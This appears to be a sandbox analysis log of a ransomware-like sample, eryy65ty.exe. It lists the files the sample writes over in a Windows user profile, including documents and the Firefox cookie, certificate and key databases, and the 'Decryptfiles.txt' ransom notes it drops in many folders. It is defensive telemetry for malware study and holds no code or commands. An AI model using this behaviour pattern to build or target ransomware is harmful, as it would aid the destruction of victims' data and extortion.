Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HMPPSXQPQV.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HQJBRDYKDE.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HTQYAMNJFK.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\IYEPUIQXSK.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\IYEPUIQXSK.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LFOPODGVOH.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LFOPODGVOH.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LHEPQPGEWF.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LHEPQPGEWF.pdf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LIJDSFKJZG.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LIJDSFKJZG.pdf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MSTILBICVO.pdf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NFUBSOKSVH.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NRIABABLWZ.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\OOJWCGHFZE.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\OOJWCGHFZE.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PWZOQIFCAN.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QFAPOWPAFG.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SNIPGPPREP.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UJDGSZVRAQ.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UNKRLCVOHV.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VEPKBVANJO.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VWDFPKGDUF.pdf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VWDFPKGDUF.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent Items\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Compressed (zipped) Folder.ZFSendToTarget.mHle offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Desktop (create shortcut).DeskLink.BxTm offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Documents.mydocs.hcyU offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Mail Recipient.MAPIMail.vgZW offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg offset: 65536
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Extensions\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash Reports\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending Pings\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\installs.ini offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\addonStartup.json.lz4 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\addonStartup.json.lz4 offset: 4096
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\bookmarkbackups\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\AlternateServices.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db offset: 229376
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\compatibility.ini offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\containers.json offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\content-prefs.sqlite offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\content-prefs.sqlite offset: 262144
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite offset: 98304
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm offset: 32768
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal.FoaS offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes\events\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491690337.3be89113-af2b-4b48-9c47-40ac1156f7a2.new-profile.jsonlz4 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491690344.6260e81e-5ef5-4137-a0a5-7930ea6f0a75.main.jsonlz4 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491690347.6786f292-c1be-4996-99cd-77aa855c1844.first-shutdown.jsonlz4 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491695562.2c8e5eea-375d-48a9-ad4c-be583ff1215d.health.jsonlz4 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491695606.ff032c8b-05e6-43c9-9e84-732dbe7aca27.event.jsonlz4 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491695606.ff032c8b-05e6-43c9-9e84-732dbe7aca27.event.jsonlz4 offset: 4096
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491695610.18a05d94-e006-440f-b702-3e398a280dbf.health.jsonlz4 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491695614.edd11145-a3b3-4ebf-ba7b-14b7ec08f19f.main.jsonlz4 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491695614.edd11145-a3b3-4ebf-ba7b-14b7ec08f19f.main.jsonlz4 offset: 12288
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\db\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\events\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\db\data.safe.bin offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\events\background-update offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\events\events offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\010cab1b-3626-48b5-9d6b-0e4dfe4db5fa offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\01e461df-d85d-4561-a852-205de2d67f32 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\054622d9-6ed7-4f25-87fd-b3a9cd668b65 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\12672553-cb8c-4210-ae02-a59c1a541208 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\58b46d46-b146-420f-81af-5b32c19a8aef offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\59bd13a9-8183-4ac7-8723-9621ae6d3748 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\5e0297e1-aa9b-4634-aaf1-cfd1f718b993 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\6c257ec7-9ee7-4e42-91a6-7d3b50c23b76 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\6db12043-3902-4d45-8c5d-d992fbf6d4e7 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\758d1c71-5fff-4193-9977-7a57afa68bf7 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\7917ce80-55b3-46ca-99c2-70537bbb959a offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\7a27ea16-e265-40c0-823c-0125abf7d855 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\7f0194d6-62d6-4174-a7ed-55ebc13aacb4 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\b3c274f7-6fd8-4832-989b-74a48f86b6b5 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\c64980e6-c743-4793-ba4a-89f593d4eb16 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\tmp\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\e6e57dc0-d354-4d4a-8374-548b8e2bcc5d offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\f5c2d345-4cad-4c1a-a51d-15d682036066 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\state.json offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\ExperimentStoreData.json offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\extensions.json offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\favicons.sqlite offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\favicons.sqlite offset: 5242880
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\favicons.sqlite-shm offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\favicons.sqlite-shm offset: 32768
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\favicons.sqlite-wal.kIhf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\minidumps\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db offset: 294912
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\parent.lock.FXRH offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\permissions.sqlite offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\permissions.sqlite offset: 98304
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm offset: 32768
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal.YNXd offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js offset: 8192
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\protections.sqlite offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\18a05d94-e006-440f-b702-3e398a280dbf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\2c8e5eea-375d-48a9-ad4c-be583ff1215d offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\3be89113-af2b-4b48-9c47-40ac1156f7a2 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\3be89113-af2b-4b48-9c47-40ac1156f7a2 offset: 4096
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\6260e81e-5ef5-4137-a0a5-7930ea6f0a75 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\6260e81e-5ef5-4137-a0a5-7930ea6f0a75 offset: 65536
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\6786f292-c1be-4996-99cd-77aa855c1844 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\edd11145-a3b3-4ebf-ba7b-14b7ec08f19f offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\edd11145-a3b3-4ebf-ba7b-14b7ec08f19f offset: 40960
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\ff032c8b-05e6-43c9-9e84-732dbe7aca27 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\ff032c8b-05e6-43c9-9e84-732dbe7aca27 offset: 8192
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionstore-backups\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionstore-backups\upgrade.jsonlz4-20230927232528 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionstore.jsonlz4 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\default\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\SiteSecurityServiceState.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\ls-archive.sqlite offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\ls-archive.sqlite offset: 131072
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\Decryptfiles.txt offset: 0
